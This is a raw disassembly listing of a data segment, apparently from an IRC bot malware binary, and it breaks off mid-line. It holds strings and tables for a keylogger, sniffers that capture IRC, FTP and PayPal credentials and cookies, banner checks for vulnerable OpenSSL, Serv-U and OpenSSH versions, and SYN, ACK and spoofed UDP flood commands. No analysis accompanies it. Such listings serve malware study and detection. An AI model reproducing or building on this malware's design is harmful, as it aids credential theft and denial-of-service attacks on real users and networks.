db 6Bh ; k db 2, 73h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ServerStart_0 db '2 Server started on: %s:%d.',0 align 10h unk_44ACE0 db 2 ; DATA XREF: seg000:0041261Bo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 6Fh db 1Fh db 2, 63h, 2 db 6Bh ; k db 2, 73h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ClientConne_0 db '2 Client connection from IP: %s:%d, Server thread: %d.',0 unk_44AD3C db 2 ; DATA XREF: seg000:00412696o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 6Fh db 1Fh db 2, 63h, 2 db 6Bh ; k db 2, 73h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2FailedToSta_0 db '2 Failed to start client thread, error: <%d>.',0 align 10h unk_44AD90 db 2 ; DATA XREF: seg000:004126B9o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 6Fh db 1Fh db 2, 63h, 2 db 6Bh ; k db 2, 73h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2FailedToSta_1 db '2 Failed to start server on Port %d.',0 align 4 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 6Fh db 1Fh db 2, 63h, 2 db 6Bh ; k db 2, 73h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2Authenticatio db '2 Authentication failed. Remote userid: %s != %s.',0 align 4 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 6Fh db 1Fh db 2, 63h, 2 db 6Bh ; k db 2, 73h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorFailedTo db '2 Error: Failed to open socket(), returned: <%d>.',0 align 4 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 6Fh db 1Fh db 2, 63h, 2 db 6Bh ; k db 2, 73h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorFailed_0 db '2 Error: Failed to connect to target, returned: <%d>.',0 align 4 aOctet db 'octet',0 align 10h dword_44AEF0 dd 35310302h, 25B302Ch, 91343003h, 1F323003h, 1F024602h ; DATA XREF: seg000:00412B32o dd 2700254h, 2C343003h, 3A353103h, 2203403h, 2720245h dd 726F0272h, 5302203Ah, 6B636F02h, 29287465h, 2460220h dd 6C026961h, 2C646502h, 2520220h, 2757465h, 656E0272h dd 32033A64h, 64253C20h, 2E3Eh dword_44AF4C dd 6272h dword_44AF50 dd 35310302h, 25B302Ch, 91343003h, 1F323003h, 1F024602h ; DATA XREF: seg000:00412C47o dd 2700254h, 2C343003h, 3A353103h, 2203403h, 69610246h dd 265026Ch, 2542064h, 220026Fh, 270024Fh, 206E0265h, 69024602h dd 65026C02h, 2032033Ah, 2E7325h dword_44AF9C dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F024602h ; DATA XREF: seg000:00412DD0o dd 2700254h, 2C313003h, 3A353103h, 2203203h, 6E650253h dd 69026402h, 67026E02h, 2440220h, 2740261h, 20340361h dd 61025002h, 6B026302h, 74026502h, 20320373h, 26F0254h dd 25203403h, 73h dword_44AFF4 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F024602h ; DATA XREF: seg000:00412EC7o dd 2700254h, 2C313003h, 3A353103h, 4F320320h, 3430031Fh dd 1F1F1F2Eh, 77323003h, 3430031Fh, 3430032Eh, 24E021Fh dd 3430031Fh, 3230032Eh, 1F1F651Fh, 1F343003h, 30031F2Eh dd 34034432h, 732520h dword_44B04C dd 4000500h, 7868746Bh, 0 dd 8 dword_44B05C dd 62h, 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_44B78C dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_44B7C4 dd 5Ch dword_44B7C8 dd 6261h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_412F80+88o align 4 dword_44B7E8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 651F024Bh ; DATA XREF: sub_412F80+AEo dd 26C791Fh, 21F6F1Fh, 30030267h, 31032C31h, 32033A35h dd 732520h aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_413061+8Fo align 10h aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_413061+1E5o align 4 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_413061+228o align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_413351+5o align 4 aPsniff db '[PSNIFF]:',0 ; DATA XREF: sub_413351+2Bo align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_413351+3Co align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_413351+4Do align 4 a302 db '302 ',0 ; DATA XREF: sub_413351:loc_4133B3o align 10h a366 db '366 ',0 ; DATA XREF: sub_413351+73o align 4 a_login db ':.login',0 ; DATA XREF: sub_413351+84o aLogin db ':!login',0 ; DATA XREF: sub_413351+95o aLogin_0 db ':!Login',0 ; DATA XREF: sub_413351+A6o a_login_0 db ':.Login',0 ; DATA XREF: sub_413351+B7o a_ident db ':.ident',0 ; DATA XREF: sub_413351+C8o aIdent_0 db ':!ident',0 ; DATA XREF: sub_413351+D9o a_hashin db ':.hashin',0 ; DATA XREF: sub_413351+EEo align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_413351+103o align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413468+5o align 4 aOper db 'OPER ',0 ; DATA XREF: sub_413468+2Bo align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_413468:loc_4134A8o align 4 aOper_0 db 'oper ',0 ; DATA XREF: sub_413468+51o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413468+62o aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4134DE+5o align 4 aNick_2 db 'NICK ',0 ; DATA XREF: sub_4134DE+2Bo align 4 a220 db '220 ',0 ; DATA XREF: sub_4134DE+3Co align 4 a230 db '230 ',0 ; DATA XREF: sub_4134DE:loc_41352Fo align 4 aUser_2 db 'USER ',0 ; DATA XREF: sub_4134DE+62o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4134DE+73o align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413565+5o align 10h aPaypal db 'paypal',0 ; DATA XREF: sub_413565+2Bo align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413565:loc_4135A5o align 10h aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_413565+51o align 4 aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_413565+62o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413565+73o aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4135EC+5o align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4135EC+2Bo align 10h aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4135EC:loc_41362Co align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4135EC+51o align 10h dword_44B9D0 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 26E0253h ; DATA XREF: seg000:00413716o dd 2660269h, 2650266h, 30030272h, 31032C32h, 32035D35h dd 6E694220h, 20292864h, 6C696146h, 202C6465h, 75746552h dd 64656E72h, 25203403h, 64h dword_44BA18 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 26E0253h ; DATA XREF: seg000:0041379Co dd 2660269h, 2650266h, 30030272h, 31032C32h, 32035D35h dd 41535720h, 74636F49h, 2029286Ch, 6C696146h, 202C6465h dd 75746552h, 64656E72h, 25203403h, 64h dword_44BA64 dd 7325h dword_44BA68 dd 7325h unk_44BA6C db 2 ; DATA XREF: seg000:00413933o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 6Eh, 2 db 69h ; i db 2, 66h, 2 db 66h ; f db 2, 65h, 2 db 72h ; r db 2, 3, 30h db 32h ; 2 db 2Ch, 3, 31h db 35h ; 5 db 5Dh, 3, 32h aBotSniffSDToSD db ' Bot Sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_44BABC db 2 ; DATA XREF: seg000:0041396Co db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 6Eh, 2 db 69h ; i db 2, 66h, 2 db 66h ; f db 2, 65h, 2 db 72h ; r db 2, 3, 30h db 32h ; 2 db 2Ch, 3, 31h db 35h ; 5 db 5Dh, 3, 32h aIrcSniffSDToSD db ' IRC Sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_44BB0C db 2 ; DATA XREF: seg000:004139A2o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 6Eh, 2 db 69h ; i db 2, 66h, 2 db 66h ; f db 2, 65h, 2 db 72h ; r db 2, 3, 30h db 32h ; 2 db 2Ch, 3, 31h db 35h ; 5 db 5Dh, 3, 32h aFtpSniffSDToSD db ' FTP Sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_44BB5C db 2 ; DATA XREF: seg000:004139D3o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 6Eh, 2 db 69h ; i db 2, 66h, 2 db 66h ; f db 2, 65h, 2 db 72h ; r db 2, 3, 30h db 32h ; 2 db 2Ch, 3, 31h db 35h ; 5 db 5Dh, 3, 32h aHttpSniffSDToS db ' HTTP Sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_44BBAC db 2 ; DATA XREF: seg000:00413A3Do db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 6Eh, 2 db 69h ; i db 2, 66h, 2 db 66h ; f db 2, 65h, 2 db 72h ; r db 2, 3, 30h db 32h ; 2 db 2Ch, 3, 31h db 35h ; 5 db 5Dh, 3, 32h aVulnSniffSDToS db ' VULN Sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 44h ; D db 2, 1Fh, 44h db 1Fh db 2, 6Fh, 2 db 73h ; s db 3, 30h, 32h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 aDdos_syn_0 db 'ddos.syn',0 ; DATA XREF: seg000:00413BE7o align 4 aDdos_ack db 'ddos.ack',0 ; DATA XREF: seg000:loc_413C06o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: seg000:loc_413C22o dd 35310302h, 25B302Ch, 91323003h, 2343003h, 441F0244h dd 26F021Fh, 32300373h, 3531032Ch, 2032033Ah, 646E6573h dd 72726520h, 203A726Fh, 6425h, 35310302h, 25B302Ch, 91323003h dd 69343003h, 2024302h, 370024Dh, 32C3230h, 33A3531h, 6F732032h dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 2064656Eh, 6425h, 35310302h, 25B302Ch, 91323003h, 69343003h dd 2024302h, 370024Dh, 32C3230h, 33A3531h, 65732032h, 636F7374h dd 74706F6Bh, 66202928h, 656C6961h, 72202C64h, 72757465h dd 2064656Eh, 6425h, 35310302h, 25B302Ch, 91323003h, 69343003h dd 2024302h, 370024Dh, 32C3230h, 33A3531h, 6E692032h, 696C6176h dd 61742064h, 74656772h, 706920h, 35310302h, 25B302Ch dd 91323003h, 69343003h, 2024302h, 370024Dh, 32C3230h dd 33A3531h, 72652032h, 20726F72h, 646E6573h, 20676E69h dd 6B636170h, 20737465h, 25206F74h, 25202E73h, 61702064h dd 74656B63h, 65732073h, 202C746Eh, 75746572h, 64656E72h dd 642520h, 35310302h, 25B302Ch, 91323003h, 69343003h dd 2024302h, 370024Dh, 32C3230h, 33A3531h, 6F642032h, 7720656Eh dd 20687469h, 66207325h, 646F6F6Ch, 206F7420h, 202E7325h dd 746E6573h, 20642520h, 6B636170h, 20737465h, 64252040h dd 732F424Bh, 28206365h, 424D6425h, 2E29h, 35310302h, 25B302Ch dd 91323003h, 2343003h, 691F0250h, 24E021Fh, 32300347h dd 3531032Ch, 2032033Ah, 6F727265h, 65732072h, 6E69646Eh dd 69702067h, 2073676Eh, 25206F74h, 73h, 35310302h, 25B302Ch dd 91323003h, 2343003h, 691F0250h, 24E021Fh, 32300347h dd 3531032Ch, 2032033Ah, 696E6966h, 64656873h, 6E657320h dd 676E6964h, 6E697020h, 74207367h, 7325206Fh, 0 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 55h ; U db 2, 1Fh, 64h db 1Fh db 2, 50h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorSendingP db '2 error sending packets to %s',0 align 4 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 55h ; U db 2, 1Fh, 64h db 1Fh db 2, 50h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2FinishedSendi db '2 finished sending packets to %s',0 align 10h unk_44BF10 db 2 ; DATA XREF: seg000:0041465Co db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 6Bh db 1Fh db 79h, 2, 53h db 2 db 79h, 1Fh, 6Eh db 1Fh db 3, 30h, 32h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aDoneWithFloodI db 'Done with flood (%iKB/sec)',0 align 4 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 79h, 2 db 6Eh ; n db 2, 3, 30h db 32h ; 2 db 2Ch, 3, 31h db 35h ; 5 db 3Ah, 3, 32h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 4 unk_44BF94 db 2 ; DATA XREF: sub_414853+27Do db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 79h, 2 db 6Eh ; n db 2, 3, 30h db 32h ; 2 db 2Ch, 3, 31h db 35h ; 5 db 3Ah, 3, 32h aSendErrorD_ db ' Send error: <%d>.',0 align 4 unk_44BFC8 db 2 ; DATA XREF: seg000:00414BACo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 54h ; T db 2, 61h, 2 db 72h ; r db 2, 67h, 61h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2DoneWithFlood db '2 Done with flood.',0 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 54h ; T db 2, 1Fh, 63h db 1Fh db 2, 50h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorSocket_0 db '2 Error: socket() failed, returned: <%d>.',0 align 4 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 54h ; T db 2, 1Fh, 63h db 1Fh db 2, 50h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorSetsocko db '2 Error: setsockopt() failed, returned: <%d>.',0 align 4 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 54h ; T db 2, 1Fh, 63h db 1Fh db 2, 50h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2InvalidTarget db '2 Invalid target IP.',0 align 10h aSyn_1 db 'syn',0 aAck_0 db 'ack',0 aRandom_2 db 'random',0 align 10h db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 54h ; T db 2, 1Fh, 63h db 1Fh db 2, 50h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorSendin_0 db '2 Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 54h ; T db 2, 1Fh, 63h db 1Fh db 2, 50h, 2 db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2DoneWithSFloo db '2 Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 10h unk_44C1B0 db 2 ; DATA XREF: seg000:00415411o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 54h ; T db 2, 73h, 2 db 55h ; U db 2, 6Eh, 61h db 2 db 4Dh, 2, 69h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2DoneWithFlo_0 db '2 Done with flood, %d packets sent.',0 align 4 aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: seg000:0041552Do unk_44C208 db 2 ; DATA XREF: seg000:004156F6o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 57h ; W db 2, 69h, 73h db 2 db 64h, 2, 6Fh db 6Dh ; m db 3, 31h, 35h db 28h ; ( db 3, 34h, 2 db 55h ; U db 2, 64h, 50h db 3 db 31h, 35h, 29h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2StartingWisdo db '2 Starting Wisdom spoofed UDP flood thread.',0 align 4 unk_44C268 db 2 ; DATA XREF: sub_415725+2Ao db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 57h ; W db 2, 69h, 73h db 2 db 64h, 2, 6Fh db 6Dh ; m db 3, 31h, 35h db 28h ; ( db 3, 34h, 2 db 55h ; U db 2, 64h, 50h db 3 db 31h, 35h, 29h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorCallingS db '2 Error calling socket().',0 align 4 unk_44C2B4 db 2 ; DATA XREF: sub_415725+63o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 57h ; W db 2, 69h, 73h db 2 db 64h, 2, 6Fh db 6Dh ; m db 3, 31h, 35h db 28h ; ( db 3, 34h, 2 db 55h ; U db 2, 64h, 50h db 3 db 31h, 35h, 29h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorCallin_0 db '2 Error calling setsockopt(). WSAGetLastError() returns %d.',0 align 4 unk_44C324 db 2 ; DATA XREF: sub_415725+80o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 57h ; W db 2, 69h, 73h db 2 db 64h, 2, 6Fh db 6Dh ; m db 3, 31h, 35h db 28h ; ( db 3, 34h, 2 db 55h ; U db 2, 64h, 50h db 3 db 31h, 35h, 29h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2InvalidTarg_0 db '2 Invalid target IP. WSAGetLastError() returns %d.',0 unk_44C388 db 2 ; DATA XREF: sub_415725+CCo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 57h ; W db 2, 69h, 73h db 2 db 64h, 2, 6Fh db 6Dh ; m db 3, 31h, 35h db 28h ; ( db 3, 34h, 2 db 55h ; U db 2, 64h, 50h db 3 db 31h, 35h, 29h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2SendingPacket db '2 Sending packets to %s...',0 aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_415725+17Eo unk_44C3E0 db 2 ; DATA XREF: sub_415725+348o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 57h ; W db 2, 69h, 73h db 2 db 64h, 2, 6Fh db 6Dh ; m db 3, 31h, 35h db 28h ; ( db 3, 34h, 2 db 55h ; U db 2, 64h, 50h db 3 db 31h, 35h, 29h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorSendin_1 db '2 Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError(' db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 unk_44C48C db 2 ; DATA XREF: sub_415725+2F6o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 57h ; W db 2, 69h, 73h db 2 db 64h, 2, 6Fh db 6Dh ; m db 3, 31h, 35h db 28h ; ( db 3, 34h, 2 db 55h ; U db 2, 64h, 50h db 3 db 31h, 35h, 29h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2FinishedSen_0 db '2 Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat' db 'a sent (~%dK/s).',0 align 10h unk_44C510 db 2 ; DATA XREF: seg000:00415ADAo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 57h ; W db 2, 1Fh, 6Fh db 1Fh db 2, 6Eh, 2 db 6Bh ; k db 3, 30h, 32h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 asc_44C554: ; DATA XREF: sub_415C17+1C5o unicode 0, < >,0 aSD_3 db '%s%d ',0 ; DATA XREF: sub_415C17+207o align 10h dword_44C560 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 696C0241h ; DATA XREF: sub_41612F+10o dd 73026102h, 2696C20h, 3027473h, 32C3130h, 33A3531h, 32h dword_44C58C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4161A7+60o align 4 dword_44C5C4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch ; DATA XREF: seg000:00416263o dd 267021Fh, 2C313003h, 3A353103h, 3203h dword_44C5E8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch ; DATA XREF: sub_4162E4+20o dd 267021Fh, 2C313003h, 3A353103h, 2203203h, 656C0243h dd 64657261h, 0 dword_44C618 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch ; DATA XREF: sub_4162E4:loc_416319o dd 267021Fh, 2C313003h, 3A353103h, 2203203h, 656C0243h dd 64657261h, 2Eh dword_44C648 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch ; DATA 